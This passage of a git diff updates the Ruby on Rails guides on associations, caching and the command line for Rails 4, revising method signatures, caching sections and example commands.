+Reading.all.inspect # => [#<Reading id: 16, person_id: 7, article_id: 7>, #<Reading id: 17, person_id: 7, article_id: 7>]
+```
+
+In the above case there are still two readings. However `person.articles` shows
+only one article because the collection loads only unique records.
+
+If you want to make sure that, upon insertion, all of the records in the
+persisted association are distinct (so that you can be sure that when you
+inspect the association that you will never find duplicate records), you should
+add a unique index on the table itself. For example, if you have a table named
+`person_articles` and you want to make sure all the articles are unique, you could
+add the following in a migration:
+
+```ruby
+add_index :person_articles, :article, unique: true
```
-In the above case there are still two readings. However `person.posts` shows only one post because the collection loads only unique records.
+Note that checking for uniqueness using something like `include?` is subject
+to race conditions. Do not attempt to use `include?` to enforce distinctness
+in an association. For instance, using the article example from above, the
+following code would be racy because multiple users could be attempting this
+at the same time:
+
+```ruby
+person.articles << article unless person.articles.include?(article)
+```
#### When are Objects Saved?
@@ -1572,15 +1802,15 @@ The `has_and_belongs_to_many` association creates a many-to-many relationship wi
#### Methods Added by `has_and_belongs_to_many`
-When you declare a `has_and_belongs_to_many` association, the declaring class automatically gains 13 methods related to the association:
+When you declare a `has_and_belongs_to_many` association, the declaring class automatically gains 16 methods related to the association:
* `collection(force_reload = false)`
* `collection<<(object, ...)`
* `collection.delete(object, ...)`
* `collection.destroy(object, ...)`
-* `collection=objects`
+* `collection=(objects)`
* `collection_singular_ids`
-* `collection_singular_ids=ids`
+* `collection_singular_ids=(ids)`
* `collection.clear`
* `collection.empty?`
* `collection.size`
@@ -1589,6 +1819,7 @@ When you declare a `has_and_belongs_to_many` association, the declaring class au
* `collection.exists?(...)`
* `collection.build(attributes = {})`
* `collection.create(attributes = {})`
+* `collection.create!(attributes = {})`
In all of these methods, `collection` is replaced with the symbol passed as the first argument to `has_and_belongs_to_many`, and `collection_singular` is replaced with the singularized version of that symbol. For example, given the declaration:
@@ -1598,16 +1829,16 @@ class Part < ActiveRecord::Base
end
```
-Each instance of the part model will have these methods:
+Each instance of the `Part` model will have these methods:
```ruby
assemblies(force_reload = false)
assemblies<<(object, ...)
assemblies.delete(object, ...)
assemblies.destroy(object, ...)
-assemblies=objects
+assemblies=(objects)
assembly_ids
-assembly_ids=ids
+assembly_ids=(ids)
assemblies.clear
assemblies.empty?
assemblies.size
@@ -1616,6 +1847,7 @@ assemblies.where(...)
assemblies.exists?(...)
assemblies.build(attributes = {}, ...)
assemblies.create(attributes = {})
+assemblies.create!(attributes = {})
```
##### Additional Column Methods
@@ -1661,7 +1893,7 @@ The `collection.destroy` method removes one or more objects from the collection
@part.assemblies.destroy(@assembly1)
```
-##### `collection=objects`
+##### `collection=(objects)`
The `collection=` method makes the collection contain only the supplied objects, by adding and deleting as appropriate.
@@ -1673,7 +1905,7 @@ The `collection_singular_ids` method returns an array of the ids of the objects
@assembly_ids = @part.assembly_ids
```
-##### `collection_singular_ids=ids`
+##### `collection_singular_ids=(ids)`
The `collection_singular_ids=` method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.
@@ -1735,14 +1967,18 @@ The `collection.create` method returns a new object of the associated type. This
@assembly = @part.assemblies.create({assembly_name: "Transmission housing"})
```
+##### `collection.create!(attributes = {})`
+
+Does the same as `collection.create`, but raises `ActiveRecord::RecordInvalid` if the record is invalid.
+
#### Options for `has_and_belongs_to_many`
While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the `has_and_belongs_to_many` association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this association uses two such options:
```ruby
class Parts < ActiveRecord::Base
- has_and_belongs_to_many :assemblies, uniq: true,
- read_only: true
+ has_and_belongs_to_many :assemblies, autosave: true,
+ readonly: true
end
```
@@ -1754,6 +1990,7 @@ The `has_and_belongs_to_many` association supports these options:
* `:foreign_key`
* `:join_table`
* `:validate`
+* `:readonly`
##### `:association_foreign_key`
@@ -1763,7 +2000,7 @@ TIP: The `:foreign_key` and `:association_foreign_key` options are useful when s
```ruby
class User < ActiveRecord::Base
- has_and_belongs_to_many :friends,
+ has_and_belongs_to_many :friends,
class_name: "User",
foreign_key: "this_user_id",
association_foreign_key: "other_user_id"
@@ -1852,7 +2089,7 @@ If you use a hash-style `where`, then record creation via this association will
##### `extending`
-The `extending` method specifies a named module to extend the association proxy. Association extensions are discussed in detail <a href="#association-extensions">later in this guide</a>.
+The `extending` method specifies a named module to extend the association proxy. Association extensions are discussed in detail [later in this guide](#association-extensions).
##### `group`
@@ -1968,7 +2205,7 @@ You're not limited to the functionality that Rails automatically builds into ass
class Customer < ActiveRecord::Base
has_many :orders do
def find_by_order_prefix(order_number)
- find_by_region_id(order_number[0..2])
+ find_by(region_id: order_number[0..2])
end
end
end
diff --git a/guides/source/caching_with_rails.md b/guides/source/caching_with_rails.md
index 773102400a..cbcd053950 100644
--- a/guides/source/caching_with_rails.md
+++ b/guides/source/caching_with_rails.md
@@ -5,8 +5,8 @@ This guide will teach you what you need to know about avoiding that expensive ro
After reading this guide, you will know:
-* Page, action, and fragment caching.
-* Sweepers.
+* Page and action caching (moved to separate gems as of Rails 4).
+* Fragment caching.
* Alternative cache stores.
* Conditional GET support.
@@ -28,103 +28,15 @@ config.action_controller.perform_caching = true
### Page Caching
-Page caching is a Rails mechanism which allows the request for a generated page to be fulfilled by the webserver (i.e. Apache or nginx), without ever having to go through the Rails stack at all. Obviously, this is super-fast. Unfortunately, it can't be applied to every situation (such as pages that need authentication) and since the webserver is literally just serving a file from the filesystem, cache expiration is an issue that needs to be dealt with.
+Page caching is a Rails mechanism which allows the request for a generated page to be fulfilled by the webserver (i.e. Apache or NGINX), without ever having to go through the Rails stack at all. Obviously, this is super-fast. Unfortunately, it can't be applied to every situation (such as pages that need authentication) and since the webserver is literally just serving a file from the filesystem, cache expiration is an issue that needs to be dealt with.
-To enable page caching, you need to use the `caches_page` method.
-
-```ruby
-class ProductsController < ActionController
-
- caches_page :index
-
- def index
- @products = Product.all
- end
-end
-```
-
-Let's say you have a controller called `ProductsController` and an `index` action that lists all the products. The first time anyone requests `/products`, Rails will generate a file called `products.html` and the webserver will then look for that file before it passes the next request for `/products` to your Rails application.
-
-By default, the page cache directory is set to `Rails.public_path` (which is usually set to the `public` folder) and this can be configured by changing the configuration setting `config.action_controller.page_cache_directory`. Changing the default from `public` helps avoid naming conflicts, since you may want to put other static html in `public`, but changing this will require web server reconfiguration to let the web server know where to serve the cached files from.
-
-The Page Caching mechanism will automatically add a `.html` extension to requests for pages that do not have an extension to make it easy for the webserver to find those pages and this can be configured by changing the configuration setting `config.action_controller.default_static_extension`.
-
-In order to expire this page when a new product is added we could extend our example controller like this:
-
-```ruby
-class ProductsController < ActionController
-
- caches_page :index
-
- def index
- @products = Product.all
- end
-
- def create
- expire_page action: :index
- end
-
-end
-```
-
-By default, page caching automatically gzips files (for example, to `products.html.gz` if user requests `/products`) to reduce the size of data transmitted (web servers are typically configured to use a moderate compression ratio as a compromise, but since precompilation happens once, compression ratio is maximum).
-
-Nginx is able to serve compressed content directly from disk by enabling `gzip_static`:
-
-```nginx
-location / {
- gzip_static on; # to serve pre-gzipped version
-}
-```
-
-You can disable gzipping by setting `:gzip` option to false (for example, if action returns image):
-
-```ruby
-caches_page :image, gzip: false
-```
-
-Or, you can set custom gzip compression level (level names are taken from `Zlib` constants):
-
-```ruby
-caches_page :image, gzip: :best_speed
-```
-
-NOTE: Page caching ignores all parameters. For example `/products?page=1` will be written out to the filesystem as `products.html` with no reference to the `page` parameter. Thus, if someone requests `/products?page=2` later, they will get the cached first page. A workaround for this limitation is to include the parameters in the page's path, e.g. `/products/page/1`.
-
-INFO: Page caching runs in an after filter. Thus, invalid requests won't generate spurious cache entries as long as you halt them. Typically, a redirection in some before filter that checks request preconditions does the job.
+INFO: Page Caching has been removed from Rails 4. See the [actionpack-page_caching gem](https://github.com/rails/actionpack-page_caching). See [DHH's key-based cache expiration overview](http://signalvnoise.com/posts/3113-how-key-based-cache-expiration-works) for the newly-preferred method.
### Action Caching
Page Caching cannot be used for actions that have before filters - for example, pages that require authentication. This is where Action Caching comes in. Action Caching works like Page Caching except the incoming web request hits the Rails stack so that before filters can be run on it before the cache is served. This allows authentication and other restrictions to be run while still serving the result of the output from a cached copy.
-Clearing the cache works in a similar way to Page Caching, except you use `expire_action` instead of `expire_page`.
-
-Let's say you only wanted authenticated users to call actions on `ProductsController`.
-
-```ruby
-class ProductsController < ActionController
-
- before_action :authenticate
- caches_action :index
-
- def index
- @products = Product.all
- end
-
- def create
- expire_action action: :index
- end
-
-end
-```
-
-You can also use `:if` (or `:unless`) to pass a Proc that specifies when the action should be cached. Also, you can use `layout: false` to cache without layout so that dynamic information in the layout such as logged in user info or the number of items in the cart can be left uncached. This feature is available as of Rails 2.2.
-
-You can modify the default action cache path by passing a `:cache_path` option. This will be passed directly to `ActionCachePath.path_for`. This is handy for actions with multiple possible routes that should be cached differently. If a block is given, it is called with the current controller instance.
-
-Finally, if you are using memcached or Ehcache, you can also pass `:expires_in`. In fact, all parameters not used by `caches_action` are sent to the underlying cache store.
-
-INFO: Action caching runs in an after filter. Thus, invalid requests won't generate spurious cache entries as long as you halt them. Typically, a redirection in some before filter that checks request preconditions does the job.
+INFO: Action Caching has been removed from Rails 4. See the [actionpack-action_caching gem](https://github.com/rails/actionpack-action_caching). See [DHH's key-based cache expiration overview](http://signalvnoise.com/posts/3113-how-key-based-cache-expiration-works) for the newly-preferred method.
### Fragment Caching
@@ -173,6 +85,80 @@ This fragment is then available to all actions in the `ProductsController` using
```ruby
expire_fragment('all_available_products')
```
+If you want to avoid expiring the fragment manually, whenever an action updates a product, you can define a helper method:
+
+```ruby
+module ProductsHelper
+ def cache_key_for_products
+ count = Product.count
+ max_updated_at = Product.maximum(:updated_at).try(:utc).try(:to_s, :number)
+ "products/all-#{count}-#{max_updated_at}"
+ end
+end
+```
+
+This method generates a cache key that depends on all products and can be used in the view:
+
+```erb
+<% cache(cache_key_for_products) do %>
+ All available products:
+<% end %>
+```
+
+If you want to cache a fragment under certain condition you can use `cache_if` or `cache_unless`
+
+```erb
+<% cache_if (condition, cache_key_for_products) do %>
+ All available products:
+<% end %>
+```
+
+You can also use an Active Record model as the cache key:
+
+```erb
+<% Product.all.each do |p| %>
+ <% cache(p) do %>
+ <%= link_to p.name, product_url(p) %>
+ <% end %>
+<% end %>
+```
+
+Behind the scenes, a method called `cache_key` will be invoked on the model and it returns a string like `products/23-20130109142513`. The cache key includes the model name, the id and finally the updated_at timestamp. Thus it will automatically generate a new fragment when the product is updated because the key changes.
+
+You can also combine the two schemes which is called "Russian Doll Caching":
+
+```erb
+<% cache(cache_key_for_products) do %>
+ All available products:
+ <% Product.all.each do |p| %>
+ <% cache(p) do %>
+ <%= link_to p.name, product_url(p) %>
+ <% end %>
+ <% end %>
+<% end %>
+```
+
+It's called "Russian Doll Caching" because it nests multiple fragments. The advantage is that if a single product is updated, all the other inner fragments can be reused when regenerating the outer fragment.
+
+### Low-Level Caching
+
+Sometimes you need to cache a particular value or query result, instead of caching view fragments. Rails caching mechanism works great for storing __any__ kind of information.
+
+The most efficient way to implement low-level caching is using the `Rails.cache.fetch` method. This method does both reading and writing to the cache. When passed only a single argument, the key is fetched and value from the cache is returned. If a block is passed, the result of the block will be cached to the given key and the result is returned.
+
+Consider the following example. An application has a `Product` model with an instance method that looks up the product’s price on a competing website. The data returned by this method would be perfect for low-level caching:
+
+```ruby
+class Product < ActiveRecord::Base
+ def competing_price
+ Rails.cache.fetch("#{cache_key}/competing_price", expires_in: 12.hours) do
+ Competitor::API.find_price(id)
+ end
+ end
+end
+```
+
+NOTE: Notice that in this example we used `cache_key` method, so the resulting cache-key will be something like `products/233-20140225082222765838000/competing_price`. `cache_key` generates a string based on the model’s `id` and `updated_at` attributes. This is a common convention and has the benefit of invalidating the cache whenever the product is updated. In general, when you use low-level caching for instance level information, you need to generate a cache key.
### SQL Caching
@@ -181,7 +167,7 @@ Query caching is a Rails feature that caches the result set returned by each que
For example:
```ruby
-class ProductsController < ActionController
+class ProductsController < ApplicationController
def index
# Run a find query
@@ -196,14 +182,10 @@ class ProductsController < ActionController
end
```
-The second time the same query is run against the database, it's not actually going to hit the database. The first time the result is returned from the query it is stored in the query cache (in memory) and the second time it's pulled from memory.
-
-However, it's important to note that query caches are created at the start of an action and destroyed at the end of that action and thus persist only for the duration of the action. If you'd like to store query results in a more persistent fashion, you can in Rails by using low level caching.
-
Cache Stores
------------
-Rails provides different stores for the cached data created by <b>action</b> and <b>fragment</b> caches.
+Rails provides different stores for the cached data created by **action** and **fragment** caches.
TIP: Page caches are always stored on disk.
@@ -227,7 +209,7 @@ The main methods to call are `read`, `write`, `delete`, `exist?`, and `fetch`. T
There are some common options used by all cache implementations. These can be passed to the constructor or the various methods to interact with entries.
-* `:namespace` - This option can be used to create a namespace within the cache store. It is especially useful if your application shares a cache with other applications. The default value will include the application name and Rails environment.
+* `:namespace` - This option can be used to create a namespace within the cache store. It is especially useful if your application shares a cache with other applications.
* `:compress` - This option can be used to indicate that compression should be used in the cache. This can be useful for transferring large cache entries over a slow network.
@@ -263,7 +245,7 @@ This is the default cache store implementation.
### ActiveSupport::Cache::MemCacheStore
-This cache store uses Danga's `memcached` server to provide a centralized cache for your application. Rails uses the bundled `dalli` gem by default. This is currently the most popular cache store for production websites. It can be used to provide a single, shared cache cluster with very a high performance and redundancy.
+This cache store uses Danga's `memcached` server to provide a centralized cache for your application. Rails uses the bundled `dalli` gem by default. This is currently the most popular cache store for production websites. It can be used to provide a single, shared cache cluster with very high performance and redundancy.
When initializing the cache, you need to specify the addresses for all memcached servers in your cluster. If none is specified, it will assume memcached is running on the local host on the default port, but this is not an ideal set up for larger sites.
@@ -283,7 +265,7 @@ config.cache_store = :ehcache_store
When initializing the cache, you may use the `:ehcache_config` option to specify the Ehcache config file to use (where the default is "ehcache.xml" in your Rails config directory), and the :cache_name option to provide a custom name for your cache (the default is rails_cache).
-In addition to the standard `:expires_in` option, the `write` method on this cache can also accept the additional `:unless_exist` option, which will cause the cache store to use Ehcache's `putIfAbsent` method instead of `put`, and therefore will not overwrite an existing entry. Additionally, the `write` method supports all of the properties exposed by the [Ehcache Element class](http://ehcache.org/apidocs/net/sf/ehcache/Element.html) , including:
+In addition to the standard `:expires_in` option, the `write` method on this cache can also accept the additional `:unless_exist` option, which will cause the cache store to use Ehcache's `putIfAbsent` method instead of `put`, and therefore will not overwrite an existing entry. Additionally, the `write` method supports all of the properties exposed by the [Ehcache Element class](http://ehcache.org/apidocs/net/sf/ehcache/Element.html) , including:
| Property | Argument Type | Description |
| --------------------------- | ------------------- | ----------------------------------------------------------- |
@@ -339,7 +321,7 @@ Conditional GET support
Conditional GETs are a feature of the HTTP specification that provide a way for web servers to tell browsers that the response to a GET request hasn't changed since the last request and can be safely pulled from the browser cache.
-They work by using the `HTTP_IF_NONE_MATCH` and `HTTP_IF_MODIFIED_SINCE` headers to pass back and forth both a unique content identifier and the timestamp of when the content was last changed. If the browser makes a request where the content identifier (etag) or last modified since timestamp matches the server’s version then the server only needs to send back an empty response with a not modified status.
+They work by using the `HTTP_IF_NONE_MATCH` and `HTTP_IF_MODIFIED_SINCE` headers to pass back and forth both a unique content identifier and the timestamp of when the content was last changed. If the browser makes a request where the content identifier (etag) or last modified since timestamp matches the server's version then the server only needs to send back an empty response with a not modified status.
It is the server's (i.e. our) responsibility to look for a last modified timestamp and the if-none-match header and determine whether or not to send back the full response. With conditional-get support in Rails this is a pretty easy task:
@@ -365,18 +347,23 @@ class ProductsController < ApplicationController
end
```
-Instead of a options hash, you can also simply pass in a model, Rails will use the `updated_at` and `cache_key` methods for setting `last_modified` and `etag`:
+Instead of an options hash, you can also simply pass in a model, Rails will use the `updated_at` and `cache_key` methods for setting `last_modified` and `etag`:
```ruby
class ProductsController < ApplicationController
def show
@product = Product.find(params[:id])
- respond_with(@product) if stale?(@product)
+
+ if stale?(@product)
+ respond_to do |wants|
+ # ... normal response processing
+ end
+ end
end
end
```
-If you don't have any special response processing and are using the default rendering mechanism (i.e. you're not using respond_to or calling render yourself) then you’ve got an easy helper in fresh_when:
+If you don't have any special response processing and are using the default rendering mechanism (i.e. you're not using `respond_to` or calling render yourself) then you've got an easy helper in `fresh_when`:
```ruby
class ProductsController < ApplicationController
@@ -390,8 +377,3 @@ class ProductsController < ApplicationController
end
end
```
-
-Further reading
----------------
-
-* [Scaling Rails Screencasts](http://railslab.newrelic.com/scaling-rails)
diff --git a/guides/source/command_line.md b/guides/source/command_line.md
index 746226fa96..e72bc81766 100644
--- a/guides/source/command_line.md
+++ b/guides/source/command_line.md
@@ -1,15 +1,12 @@
The Rails Command Line
======================
-Rails comes with every command line tool you'll need to
-
After reading this guide, you will know:
* How to create a Rails application.
* How to generate models, controllers, database migrations, and unit tests.
* How to start a development server.
* How to experiment with objects through an interactive shell.
-* How to profile and benchmark your new creation.
--------------------------------------------------------------------------------
@@ -27,6 +24,8 @@ There are a few commands that are absolutely critical to your everyday usage of
* `rails dbconsole`
* `rails new app_name`
+All commands can run with ```-h or --help``` to list more information.
+
Let's create a simple Rails application to step through each of these commands in context.
### `rails new`
@@ -56,20 +55,18 @@ Rails will set you up with what seems like a huge amount of stuff for such a tin
The `rails server` command launches a small web server named WEBrick which comes bundled with Ruby. You'll use this any time you want to access your application through a web browser.
-INFO: WEBrick isn't your only option for serving Rails. We'll get to that [later](#server-with-different-backends).
-
With no further work, `rails server` will run our new shiny Rails app:
```bash
$ cd commandsapp
-$ rails server
+$ bin/rails server
=> Booting WEBrick
-=> Rails 3.2.3 application starting in development on http://0.0.0.0:3000
+=> Rails 4.2.0 application starting in development on http://localhost:3000
=> Call with -d to detach
=> Ctrl-C to shutdown server
-[2012-05-28 00:39:41] INFO WEBrick 1.3.1
-[2012-05-28 00:39:41] INFO ruby 1.9.2 (2011-02-18) [x86_64-darwin11.2.0]
-[2012-05-28 00:39:41] INFO WEBrick::HTTPServer#start: pid=69680 port=3000
+[2013-08-07 02:00:01] INFO WEBrick 1.3.1
+[2013-08-07 02:00:01] INFO ruby 2.0.0 (2013-06-27) [x86_64-darwin11.2.0]
+[2013-08-07 02:00:01] INFO WEBrick::HTTPServer#start: pid=69680 port=3000
```
With just three commands we whipped up a Rails server listening on port 3000. Go to your browser and open [http://localhost:3000](http://localhost:3000), you will see a basic Rails app running.
@@ -79,10 +76,10 @@ INFO: You can also use the alias "s" to start the server: `rails s`.
The server can be run on a different port using the `-p` option. The default development environment can be changed using `-e`.
```bash
-$ rails server -e production -p 4000
+$ bin/rails server -e production -p 4000
```
-The `-b` option binds Rails to the specified ip, by default it is 0.0.0.0. You can run a server as a daemon by passing a `-d` option.
+The `-b` option binds Rails to the specified IP, by default it is localhost. You can run a server as a daemon by passing a `-d` option.
### `rails generate`
@@ -91,7 +88,7 @@ The `rails generate` command uses templates to create a whole lot of things. Run
INFO: You can also use the alias "g" to invoke the generator command: `rails g`.
```bash
-$ rails generate
+$ bin/rails generate
Usage: rails generate GENERATOR [args] [options]
...
@@ -116,7 +113,7 @@ Let's make our own controller with the controller generator. But what command sh
INFO: All Rails console utilities have help text. As with most *nix utilities, you can try adding `--help` or `-h` to the end, for example `rails server --help`.
```bash
-$ rails generate controller
+$ bin/rails generate controller
Usage: rails generate controller NAME [action action] [options]
...
@@ -125,25 +122,24 @@ Usage: rails generate controller NAME [action action] [options]
Description:
...
- To create a controller within a module, specify the controller name as a
- path like 'parent_module/controller_name'.
+ To create a controller within a module, specify the controller name as a path like 'parent_module/controller_name'.
...
Example:
- `rails generate controller CreditCard open debit credit close`
+ `rails generate controller CreditCards open debit credit close`
- Credit card controller with URLs like /credit_card/debit.
- Controller: app/controllers/credit_card_controller.rb
- Test: test/controllers/credit_card_controller_test.rb
- Views: app/views/credit_card/debit.html.erb [...]
- Helper: app/helpers/credit_card_helper.rb
+ Credit card controller with URLs like /credit_cards/debit.
+ Controller: app/controllers/credit_cards_controller.rb
+ Test: test/controllers/credit_cards_controller_test.rb
+ Views: app/views/credit_cards/debit.html.erb [...]
+ Helper: app/helpers/credit_cards_helper.rb
```
The controller generator is expecting parameters in the form of `generate controller ControllerName action1 action2`. Let's make a `Greetings` controller with an action of **hello**, which will say something nice to us.
```bash
-$ rails generate controller Greetings hello
+$ bin/rails generate controller Greetings hello
create app/controllers/greetings_controller.rb
route get "greetings/hello"
invoke erb
@@ -153,8 +149,6 @@ $ rails generate controller Greetings hello
create test/controllers/greetings_controller_test.rb
invoke helper
create app/helpers/greetings_helper.rb
- invoke test_unit
- create test/helpers/greetings_helper_test.rb
invoke assets
invoke coffee
create app/assets/javascripts/greetings.js.coffee
@@ -184,7 +178,7 @@ Then the view, to display our message (in `app/views/greetings/hello.html.erb`):
Fire up your server using `rails server`.
```bash
-$ rails server
+$ bin/rails server
=> Booting WEBrick...
```
@@ -195,13 +189,13 @@ INFO: With a normal, plain-old Rails application, your URLs will generally follo
Rails comes with a generator for data models too.
```bash
-$ rails generate model
+$ bin/rails generate model
Usage:
rails generate model NAME [field[:type][:index] field[:type][:index]] [options]
...
-ActiveRecord options:
+Active Record options:
[--migration] # Indicates when to generate migration
# Default: true
@@ -218,14 +212,15 @@ But instead of generating a model directly (which we'll be doing later), let's s
We will set up a simple resource called "HighScore" that will keep track of our highest score on video games we play.
```bash
-$ rails generate scaffold HighScore game:string score:integer
+$ bin/rails generate scaffold HighScore game:string score:integer
invoke active_record
- create db/migrate/20120528060026_create_high_scores.rb
+ create db/migrate/20130717151933_create_high_scores.rb
create app/models/high_score.rb
invoke test_unit
create test/models/high_score_test.rb
create test/fixtures/high_scores.yml
- route resources :high_scores
+ invoke resource_route
+ route resources :high_scores
invoke scaffold_controller
create app/controllers/high_scores_controller.rb
invoke erb
@@ -239,23 +234,24 @@ $ rails generate scaffold HighScore game:string score:integer
create test/controllers/high_scores_controller_test.rb
invoke helper
create app/helpers/high_scores_helper.rb
- invoke test_unit
- create test/helpers/high_scores_helper_test.rb
+ invoke jbuilder
+ create app/views/high_scores/index.json.jbuilder
+ create app/views/high_scores/show.json.jbuilder
invoke assets
invoke coffee
create app/assets/javascripts/high_scores.js.coffee
invoke scss
create app/assets/stylesheets/high_scores.css.scss
invoke scss
- create app/assets/stylesheets/scaffolds.css.scss
+ identical app/assets/stylesheets/scaffolds.css.scss
```
The generator checks that there exist the directories for models, controllers, helpers, layouts, functional and unit tests, stylesheets, creates the views, controller, model and database migration for HighScore (creating the `high_scores` table and fields), takes care of the route for the **resource**, and new tests for everything.
-The migration requires that we **migrate**, that is, run some Ruby code (living in that `20120528060026_create_high_scores.rb`) to modify the schema of our database. Which database? The sqlite3 database that Rails will create for you when we run the `rake db:migrate` command. We'll talk more about Rake in-depth in a little while.
+The migration requires that we **migrate**, that is, run some Ruby code (living in that `20130717151933_create_high_scores.rb`) to modify the schema of our database. Which database? The SQLite3 database that Rails will create for you when we run the `rake db:migrate` command. We'll talk more about Rake in-depth in a little while.
```bash
-$ rake db:migrate
+$ bin/rake db:migrate
== CreateHighScores: migrating ===============================================
-- create_table(:high_scores)
-> 0.0017s
@@ -267,7 +263,7 @@ INFO: Let's talk about unit tests. Unit tests are code that tests and makes asse
Let's see the interface Rails created for us.
```bash
-$ rails server
+$ bin/rails server
```
Go to your browser and open [http://localhost:3000/high_scores](http://localhost:3000/high_scores), now we can create new high scores (55,160 on Space Invaders!)
@@ -281,18 +277,43 @@ INFO: You can also use the alias "c" to invoke the console: `rails c`.
You can specify the environment in which the `console` command should operate.
```bash
-$ rails console staging
+$ bin/rails console staging
```
If you wish to test out some code without changing any data, you can do that by invoking `rails console --sandbox`.
```bash
-$ rails console --sandbox
-Loading development environment in sandbox (Rails 3.2.3)
+$ bin/rails console --sandbox
+Loading development environment in sandbox (Rails 4.2.0)
Any modifications you make will be rolled back on exit
irb(main):001:0>
```
+#### The app and helper objects
+
+Inside the `rails console` you have access to the `app` and `helper` instances.
+
+With the `app` method you can access url and path helpers, as well as do requests.
+
+```bash
+>> app.root_path
+=> "/"
+
+>> app.get _
+Started GET "/" for 127.0.0.1 at 2014-06-19 10:41:57 -0300
+...
+```
+
+With the `helper` method it is possible to access Rails and your application's helpers.
+
+```bash
+>> helper.time_ago_in_words 30.days.ago
+=> "about 1 month"
+
+>> helper.my_custom_helper
+=> "my custom helper"
+```
+
### `rails dbconsole`
`rails dbconsole` figures out which database you're using and drops you into whichever command line interface you would use with it (and figures out the command line parameters to give to it, too!). It supports MySQL, PostgreSQL, SQLite and SQLite3.
@@ -304,7 +325,7 @@ INFO: You can also use the alias "db" to invoke the dbconsole: `rails db`.
`runner` runs Ruby code in the context of Rails non-interactively. For instance:
```bash
-$ rails runner "Model.long_running_method"
+$ bin/rails runner "Model.long_running_method"
```
INFO: You can also use the alias "r" to invoke the runner: `rails r`.
@@ -312,7 +333,7 @@ INFO: You can also use the alias "r" to invoke the runner: `rails r`.
You can specify the environment in which the `runner` command should operate using the `-e` switch.
```bash
-$ rails runner -e staging "Model.long_running_method"
+$ bin/rails runner -e staging "Model.long_running_method"
```
### `rails destroy`
@@ -322,7 +343,7 @@ Think of `destroy` as the opposite of `generate`. It'll figure out what generate
INFO: You can also use the alias "d" to invoke the destroy command: `rails d`.
```bash
-$ rails generate model Oops
+$ bin/rails generate model Oops
invoke active_record
create db/migrate/20120528062523_create_oops.rb
create app/models/oops.rb
@@ -331,7 +352,7 @@ $ rails generate model Oops
create test/fixtures/oops.yml
```
```bash
-$ rails destroy model Oops
+$ bin/rails destroy model Oops
invoke active_record
remove db/migrate/20120528062523_create_oops.rb
remove app/models/oops.rb
@@ -347,37 +368,37 @@ Rake is Ruby Make, a standalone Ruby utility that replaces the Unix utility 'mak
You can get a list of Rake tasks available to you, which will often depend on your current directory, by typing `rake --tasks`. Each task has a description, and should help you find the thing you need.
+To get the full backtrace for running rake task you can pass the option ```--trace``` to command line, for example ```rake db:create --trace```.
+
```bash
-$ rake --tasks
+$ bin/rake --tasks
rake about # List versions of all Rails frameworks and the environment
-rake assets:clean # Remove compiled assets
+rake assets:clean # Remove old compiled assets
+rake assets:clobber # Remove compiled assets
rake assets:precompile # Compile all the assets named in config.assets.precompile
rake db:create # Create the database from config/database.yml for the current Rails.env
...
-rake log:clear # Truncates all *.log files in log/ to zero bytes
+rake log:clear # Truncates all *.log files in log/ to zero bytes (specify which logs with LOGS=test,development)
rake middleware # Prints out your Rack middleware stack
...
rake tmp:clear # Clear session, cache, and socket files from tmp/ (narrow w/ tmp:sessions:clear, tmp:cache:clear, tmp:sockets:clear)
rake tmp:create # Creates tmp directories for sessions, cache, sockets, and pids
```
+INFO: You can also use ```rake -T``` to get the list of tasks.
### `about`
`rake about` gives information about version numbers for Ruby, RubyGems, Rails, the Rails subcomponents, your application's folder, the current Rails environment name, your app's database adapter, and schema version. It is useful when you need to ask for help, check if a security patch might affect you, or when you need some stats for an existing Rails installation.
```bash
-$ rake about
+$ bin/rake about
About your application's environment
+Rails version 4.2.0
Ruby version 1.9.3 (x86_64-linux)
RubyGems version 1.3.6
Rack version 1.3
-Rails version 4.0.0.beta
JavaScript Runtime Node.js (V8)
-Active Record version 4.0.0.beta
-Action Pack version 4.0.0.beta
-Action Mailer version 4.0.0.beta
-Active Support version 4.0.0.beta
-Middleware ActionDispatch::Static, Rack::Lock, Rack::Runtime, Rack::MethodOverride, ActionDispatch::RequestId, Rails::Rack::Logger, ActionDispatch::ShowExceptions, ActionDispatch::DebugExceptions, ActionDispatch::RemoteIp, ActionDispatch::Reloader, ActionDispatch::Callbacks, ActiveRecord::ConnectionAdapters::ConnectionManagement, ActiveRecord::QueryCache, ActionDispatch::Cookies, ActionDispatch::Session::CookieStore, ActionDispatch::Flash, ActionDispatch::ParamsParser, ActionDispatch::Head, Rack::ConditionalGet, Rack::ETag, ActionDispatch::BestStandardsSupport
+Middleware Rack::Sendfile, ActionDispatch::Static, Rack::Lock, #<ActiveSupport::Cache::Strategy::LocalCache::Middleware:0x007ffd131a7c88>, Rack::Runtime, Rack::MethodOverride, ActionDispatch::RequestId, Rails::Rack::Logger, ActionDispatch::ShowExceptions, ActionDispatch::DebugExceptions, ActionDispatch::RemoteIp, ActionDispatch::Reloader, ActionDispatch::Callbacks, ActiveRecord::Migration::CheckPending, ActiveRecord::ConnectionAdapters::ConnectionManagement, ActiveRecord::QueryCache, ActionDispatch::Cookies, ActionDispatch::Session::CookieStore, ActionDispatch::Flash, ActionDispatch::ParamsParser, Rack::Head, Rack::ConditionalGet, Rack::ETag
Application root /home/foobar/commandsapp
Environment development
Database adapter sqlite3
@@ -386,7 +407,9 @@ Database schema version 20110805173523
### `assets`
-You can precompile the assets in `app/assets` using `rake assets:precompile` and remove those compiled assets using `rake assets:clean`.
+You can precompile the assets in `app/assets` using `rake assets:precompile`, and remove older compiled assets using `rake assets:clean`. The `assets:clean` task allows for rolling deploys that may still be linking to an old asset while the new assets are being built.
+
+If you want to clear `public/assets` completely, you can use `rake assets:clobber`.
### `db`
@@ -404,52 +427,58 @@ The `doc:` namespace has the tools to generate documentation for your app, API d
### `notes`
-`rake notes` will search through your code for comments beginning with FIXME, OPTIMIZE or TODO. The search is done in files with extension `.builder`, `.rb`, `.erb`, `.haml` and `.slim` for both default and custom annotations.
+`rake notes` will search through your code for comments beginning with FIXME, OPTIMIZE or TODO. The search is done in files with extension `.builder`, `.rb`, `.rake`, `.yml`, `.yaml`, `.ruby`, `.css`, `.js` and `.erb` for both default and custom annotations.
```bash
-$ rake notes
+$ bin/rake notes
(in /home/foobar/commandsapp)
app/controllers/admin/users_controller.rb:
* [ 20] [TODO] any other way to do this?
* [132] [FIXME] high priority for next deploy
-app/model/school.rb:
+app/models/school.rb:
* [ 13] [OPTIMIZE] refactor this code to make it faster
* [ 17] [FIXME]
```
